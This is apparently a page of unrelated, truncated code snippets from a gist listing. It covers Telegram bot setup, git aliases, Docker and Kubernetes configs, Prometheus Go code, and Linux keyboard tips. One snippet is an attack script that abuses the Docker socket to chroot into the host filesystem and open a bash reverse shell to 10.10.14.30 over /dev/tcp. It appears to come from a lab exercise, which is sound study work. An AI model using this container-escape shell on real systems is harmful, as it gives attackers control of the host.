- Create a bot using @BotFather, get it's token
- Start conversation with bot
- Run following curl command
curl https://api.telegram.org/bot/getUpdates | grep -Po '"from":{"id":.+?,'
[url "https://oauth2:{{ token }}@gitlab.xxx.ru/"] | |
insteadOf = https://gitlab.xxx.ru/ | |
[core] | |
excludesfile = ~/.gitignore | |
attributesfile = ~/.gitattributes | |
[alias] | |
lg = log --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit | |
lg1 = log --graph --abbrev-commit --decorate --format=format:'%C(bold blue)%h%C(reset) - %C(bold green)(%ar)%C(reset) %C(white)%s%C(reset) %C(dim white)- %an%C(reset)%C(bold yellow)%d%C(reset)' --all | |
lg2 = log --graph --abbrev-commit --decorate --format=format:'%C(bold blue)%h%C(reset) - %C(bold cyan)%aD%C(reset) %C(bold green)(%ar)%C(reset)%C(bold yellow)%d%C(reset)%n'' %C(white)%s%C(reset) %C(dim white)- %an%C(reset)' --all | |
lg3 = log --graph --all --date=relative --pretty=format:'%Cred%h %Creset%<|(100,trunc)%s %C(bold blue)<%an>%Creset %Cgreen(%cd)%Creset%C(auto)%d' |
#!/bin/bash | |
# A script for mounting a host directory into a running Docker container | |
if [ "$#" -ne 3 ]; then | |
echo "Usage: $0 <container> <host path> <target path>" | |
exit 1 | |
fi | |
CONTAINER=$1 |
curl https://api.telegram.org/bot/getUpdates | grep -Po '"from":{"id":.+?,'
apiVersion: v1 | |
kind: ConfigMap | |
metadata: | |
# any name can be used; Velero uses the labels (below) | |
# to identify it rather than the name | |
name: change-storage-class-config | |
# must be in the velero namespace | |
namespace: velero | |
# the below labels should be used verbatim in your | |
# ConfigMap. |
I had a need to protect my Kubernetes config file on my computer against accidental or malicious change or reading, so I came up with this way of protecting the config files.
The ~/.kube folder is mounted using encfs. By using the --ondemand
flag it
will automatically ask for the encryption key/password when accessed and keep
package main | |
import ( | |
"github.com/prometheus/client_golang/prometheus" | |
"github.com/prometheus/client_golang/prometheus/promhttp" | |
"log" | |
"math/rand" | |
"net/http" | |
"time" |
#!/usr/bin/env bash | |
set -Eeuo pipefail | |
trap cleanup SIGINT SIGTERM ERR EXIT | |
script_dir=$(cd "$(dirname "${BASH_SOURCE[0]}")" &>/dev/null && pwd -P) | |
usage() { | |
cat <<EOF | |
Usage: $(basename "${BASH_SOURCE[0]}") [-h] [-v] [-f] -p param_value arg1 [arg2...] |
#!/bin/bash | |
# you can see images availables with | |
# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json | |
# here we have sandbox:latest | |
# command executed when container is started | |
# change dir to tmp where the root fs is mount and execute reverse shell | |
cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.14.30/12348 0<&1'\\\"\"]" |
Here is the best setup (I think so :D) for K-series Keychron keyboards on Linux.
Note: many newer Keychron keyboards use QMK as firmware and most tips here do not apply to them. Maybe the ones related to Bluetooth can be useful, but everything related to Apple's keyboard module (hid_apple
) on Linux, won't work. As far as I know, all QMK-based boards use the hid_generic
module instead. Examples of QMK-based boards are: Q, Q-Pro, V, K-Pro, etc.
Most of these commands have been tested on Ubuntu 20.04 and should also work on most Debian-based distributions. If a command happens not to work for you, take a look in the comment section.
Older Keychron keyboards (those not based on QMK) use the hid_apple
driver on Linux, even in the Windows/Android mode, both in Bluetooth and Wired modes.
apiVersion: install.istio.io/v1alpha1 | |
kind: IstioOperator | |
metadata: | |
namespace: istio-system | |
name: multiple-ingress-istiocontrolplane | |
spec: | |
profile: default | |
values: | |
security: | |
selfSigned: false |